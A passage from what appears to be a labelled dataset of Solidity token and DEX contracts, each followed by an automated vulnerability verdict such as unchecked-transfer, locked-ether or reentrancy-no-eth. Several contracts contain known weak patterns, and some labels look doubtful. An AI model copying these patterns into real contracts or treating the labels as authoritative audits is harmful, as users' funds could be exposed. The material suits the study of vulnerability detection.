if (!locked[_of][_reason].claimed)
amount = locked[_of][_reason].amount;
}
function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
public
view
returns (uint256 amount)
{
if (locked[_of][_reason].validity > _time)
amount = locked[_of][_reason].amount;
}
function totalBalanceOf(address _of)
public
view
returns (uint256 amount)
{
amount = balanceOf(_of);
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(tokensLocked(_of, lockReason[_of][i]));
}
}
function extendLock(bytes32 _reason, uint256 _time)
public
whenNotPaused
returns (bool)
{
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
locked[msg.sender][_reason].validity = locked[msg.sender][_reason].validity.add(_time);
emit Locked(msg.sender, _reason, locked[msg.sender][_reason].amount, locked[msg.sender][_reason].validity);
return true;
}
function increaseLockAmount(bytes32 _reason, uint256 _amount)
public
whenNotPaused
returns (bool)
{
require(tokensLocked(msg.sender, _reason) > 0, NOT_LOCKED);
transfer(address(this), _amount);
locked[msg.sender][_reason].amount = locked[msg.sender][_reason].amount.add(_amount);
emit Locked(msg.sender, _reason, locked[msg.sender][_reason].amount, locked[msg.sender][_reason].validity);
return true;
}
function tokensUnlockable(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
if (locked[_of][_reason].validity <= now && !locked[_of][_reason].claimed) //solhint-disable-line
amount = locked[_of][_reason].amount;
}
function unlock(address _of)
public
whenNotPaused
returns (uint256 unlockableTokens)
{
uint256 lockedTokens;
for (uint256 i = 0; i < lockReason[_of].length; i++) {
lockedTokens = tokensUnlockable(_of, lockReason[_of][i]);
if (lockedTokens > 0) {
unlockableTokens = unlockableTokens.add(lockedTokens);
locked[_of][lockReason[_of][i]].claimed = true;
emit Unlocked(_of, lockReason[_of][i], lockedTokens);
}
}
if (unlockableTokens > 0)
this.transfer(_of, unlockableTokens);
}
function getUnlockableTokens(address _of)
public
view
returns (uint256 unlockableTokens)
{
for (uint256 i = 0; i < lockReason[_of].length; i++) {
unlockableTokens = unlockableTokens.add(tokensUnlockable(_of, lockReason[_of][i]));
}
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) locked-ether with Medium impact
3) controlled-array-length with High impact |
pragma solidity =0.8.0;
interface INimbusFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function nimbusReferralProgram() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface INimbusERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface INimbusPair is INimbusERC20 {
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract NimbusERC20 is INimbusERC20 {
using SafeMath for uint;
string public constant override name = 'Nimbus LP';
string public constant override symbol = 'NBU_LP';
uint8 public constant override decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
constructor() {
uint chainId = block.chainid;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != (2**256-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'Nimbus: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Nimbus: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface INimbusCallee {
function NimbusCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface INimbusReferralProgram {
function recordFee(address token, address recipient, uint amount) external;
}
contract NimbusPair is INimbusPair, NimbusERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant override MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public override factory;
address public override token0;
address public override token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public override price0CumulativeLast;
uint public override price1CumulativeLast;
uint public override kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Nimbus: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view override returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Nimbus: TRANSFER_FAILED');
}
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external override {
require(msg.sender == factory, 'Nimbus: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= (2**112 - 1) && balance1 <= (2**112 - 1), 'Nimbus: OVERFLOW'); // uint112(-1) = 2 ** 112 - 1
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = INimbusFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external override lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Nimbus: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external override lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Nimbus: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external override lock {
require(amount0Out > 0 || amount1Out > 0, 'Nimbus: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Nimbus: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Nimbus: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) INimbusCallee(to).NimbusCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Nimbus: INSUFFICIENT_INPUT_AMOUNT');
{
address referralProgram = INimbusFactory(factory).nimbusReferralProgram();
if (amount0In > 0) {
address _token0 = token0;
uint refFee = amount0In.mul(3)/ 1994;
_safeTransfer(_token0, referralProgram, refFee);
INimbusReferralProgram(referralProgram).recordFee(_token0, to, refFee);
balance0 = balance0.sub(refFee);
}
if (amount1In > 0) {
uint refFee = amount1In.mul(3) / 1994;
address _token1 = token1;
_safeTransfer(_token1, referralProgram, refFee);
INimbusReferralProgram(referralProgram).recordFee(_token1, to, refFee);
balance1 = balance1.sub(refFee);
}
}
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(15));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(15));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Nimbus: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external override lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external override lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
contract NimbusFactory is INimbusFactory {
address public override feeTo;
address public override feeToSetter;
address public override nimbusReferralProgram;
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
constructor(address _feeToSetter) {
feeToSetter = _feeToSetter;
}
function allPairsLength() external override view returns (uint) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB) external override returns (address pair) {
require(tokenA != tokenB, 'Nimbus: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'Nimbus: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'Nimbus: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(NimbusPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
INimbusPair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, 'Nimbus: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, 'Nimbus: FORBIDDEN');
feeToSetter = _feeToSetter;
}
function setNimbusReferralProgram(address _nimbusReferralProgram) external {
require(msg.sender == feeToSetter, 'Nimbus: FORBIDDEN');
nimbusReferralProgram = _nimbusReferralProgram;
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) reentrancy-no-eth with Medium impact
3) incorrect-equality with Medium impact |
pragma solidity ^0.4.8;
contract Token{
// token总量，默认会为public变量生成一个getter函数接口，名称为totalSupply().
uint256 public totalSupply;
/// 获取账户_owner拥有token的数量
function balanceOf(address _owner) constant returns (uint256 balance);
//从消息发送者账户中往_to账户转数量为_value的token
function transfer(address _to, uint256 _value) returns (bool success);
//从账户_from中往账户_to转数量为_value的token，与approve方法配合使用
function transferFrom(address _from, address _to, uint256 _value) returns
(bool success);
//消息发送账户设置账户_spender能从发送账户中转出数量为_value的token
function approve(address _spender, uint256 _value) returns (bool success);
//获取账户_spender可以从账户_owner中转出token的数量
function allowance(address _owner, address _spender) constant returns
(uint256 remaining);
//发生转账时必须要触发的事件
event Transfer(address indexed _from, address indexed _to, uint256 _value);
//当函数approve(address _spender, uint256 _value)成功执行时必须触发的事件
event Approval(address indexed _owner, address indexed _spender, uint256
_value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//默认totalSupply 不会超过最大值 (2^256 - 1).
//如果随着时间的推移将会有新的token生成，则可以用下面这句避免溢出的异常
//require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;//从消息发送者账户中减去token数量_value
balances[_to] += _value;//往接收账户增加token数量_value
Transfer(msg.sender, _to, _value);//触发转币交易事件
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns
(bool success) {
//require(balances[_from] >= _value && allowed[_from][msg.sender] >=
// _value && balances[_to] + _value > balances[_to]);
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] += _value;//接收账户增加token数量_value
balances[_from] -= _value; //支出账户_from减去token数量_value
allowed[_from][msg.sender] -= _value;//消息发送者可以从账户_from中转出的数量减少_value
Transfer(_from, _to, _value);//触发转币交易事件
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];//允许_spender从_owner中转出的token数
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract MDC9Token is StandardToken {
/* Public variables of the token */
string public name; //名称: eg Simon Bucks
uint8 public decimals; //最多的小数位数，How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //token简称: eg SBX
string public version = 'E0.1'; //版本
function MDC9Token(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) {
balances[msg.sender] = _initialAmount; // 初始token数量给予消息发送者
totalSupply = _initialAmount; // 设置初始总量
name = _tokenName; // token名称
decimals = _decimalUnits; // 小数位数
symbol = _tokenSymbol; // token简称
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT130509' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT130509
// Name : ADZbuzz Adweek.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT130509";
name = "ADZbuzz Adweek.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// Mylo Token is a community based token built with love.
//
// ----------------------------------------------------------------------------
contract MyloContract {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract MyloToken is MyloContract, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "MyloToken";
symbol = "MYLO";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | No vulnerabilities found |
// File: @openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
